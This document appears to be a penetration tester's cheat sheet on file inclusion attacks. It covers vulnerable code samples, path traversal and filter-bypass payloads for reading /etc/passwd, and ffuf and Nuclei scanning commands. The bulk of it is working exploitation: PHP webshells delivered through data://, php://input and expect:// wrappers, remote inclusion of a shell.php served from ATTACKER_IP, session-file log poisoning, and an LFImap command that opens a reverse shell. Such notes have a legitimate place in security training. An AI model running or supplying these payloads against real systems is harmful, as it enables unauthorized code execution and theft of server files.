File Inclusion

File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

There are 2 types, which depend on the underlying vulnerable function:

Code Examples of FI

These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.

PHP

// Selector
if (isset($_GET['language'])) {
    include($_GET['language']);
}

NodeJS

// Selector
if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

// about.html
app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

Java

// Selector
<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

// about.html
<c:import url= "<%= request.getParameter('language') %>"/>

.NET

// Selector
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

// about.html
@Html.Partial(HttpContext.Request.Query['language'])

Can Function X Read/Execute?

FunctionRead ContentExecuteRemote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

Checking Vulnerability

Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:

  • Linux: /etc/passwd
  • Windows: C:\Windows\boot.ini

Generally, they will be 3-5 folder depths down from the root filesystem:

# without '/'
../../../../etc/passwd
# with '/'
/../../../../etc/passwd

# basic filter '../' bypass
....//....//....//etc/passwd
..././
....\/

# URL encoding: must encode entire string
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

# regex might require a specific string or extension for a folder or extension
# the extension part can limit the files accessible
languages/.*php

# overflow character limit to evade extension filter
# ONLY: PHP <5.3 versions
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

# null byte
# ONLY: PHP <5.5 versions
../../../../etc/passwd%00.php

URL Encoding

# Total URL Encoding via Python
echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"

Finding Files

Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)

# Find *.php files that DO EXIST on the server
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php

If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:

# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"
http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>

# View Page Source > Decode base64
echo '<BASE64> | base64 -d'

Local File Inclusion

Check Config

# If the LFI is already know (e.g. via LFImap) this
# can browse for all accessible config files
ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v

Execute Commands

If able, check that appropriate settings are enabled and the underlying function supports the command.

via data

# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?>
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'

via input

# POST PHP Webshell
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'

via expect

curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'

Remote File Inclusion

If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.

# URL is the remote resource
http://<TARGET>/<PAGE>?<PARAMETER>=<URL>

# Create remote PHP web shell
# NOTE: this only works for get and execute style functions
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080

# Execute commands by calling back to ATTACK_IP and executing that file
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'

Log Poisoning

Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.

# Get PHPSESSION from F12 > Storage
# NOTE: that file is stored on disk as:
# /var/lib/php/sessions/sess_<PHPSESSION>

# Read the settings for the PHPSESSION
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Let's see if we control the OPTION
http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the value
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Set OPTION to a PHP webshell
curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'

# Now execute commands
curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'

Scanning

To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.

NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:

  1. Check server configs
  2. Attempt to read and see the filtering from the pages
  3. Incorporate the filtering into the ffuf URL portion
# FIND: params
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

# FIND: LFI payloads
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

LFI Filter Evasion

When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.

The Filter (What the dev did)The Bypass (How to break it)Example Payload
Traversal Stripping (Removes ../)Nested or overlapping traversals.....//....//etc/passwd
..././..././etc/passwd
URL Decoding Filters (WAF)URL encode, or double-URL encode.%2e%2e%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
Hardcoded Prefix (include("dir/".$p))Add more ../ to climb out of the forced directory.../../../../../../etc/passwd
Hardcoded Suffix (include($p.".php"))Legacy (PHP < 5.3): null byte.
Modern: PHP filter (Base64).
../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config
Keyword Blocking (Blocks passwd)Wildcards (Linux) or redundant slashes./etc//passwd
/etc/security/../passwd

Mechanics & Logic

1. The “Forced Extension” Problem (.php)

If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.

Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.

2. The str_replace Trap

Many developers try to fix LFI with str_replace("../", "", $input).

The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.

Advanced Scanning

The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:

# FIND: Advanced bypasses (nested, encoded, null bytes)
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

# FIND: PHP wrapper source code extraction (targets common files like index, config, db)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>
See more about… Parameter fuzzing

Source: Docs > 9 - Notes > ffuf#parameter-fuzzing

Parameter fuzzing

GET

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

POST

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>

LFImap

Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).

# Install
git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt

# Base Scan (Use '*' to mark the injection point)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'

# Full Auto-Exploit (Tests all bypasses & attempts RCE)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a

# Pop a Reverse Shell directly (if vulnerable)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>

Nuclei

Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.

See more about… Fix Go

Source: Docs > 9 - Notes > Troubleshooting#fix-go

Fix Go

When system Go is broken or missing (HTB / online lab VMs)…

go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23

…Install a local Go and wire it into PATH:

wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates first
nuclei -ut

# Target a specific URL for all known LFI vectors
echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi

# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)
nuclei -u 'http://<TARGET>/' -dast -tags lfi

# Blind OOB LFI (Catch callbacks with interactsh automatically)
nuclei -u 'http://<TARGET>/' -tags oast,lfi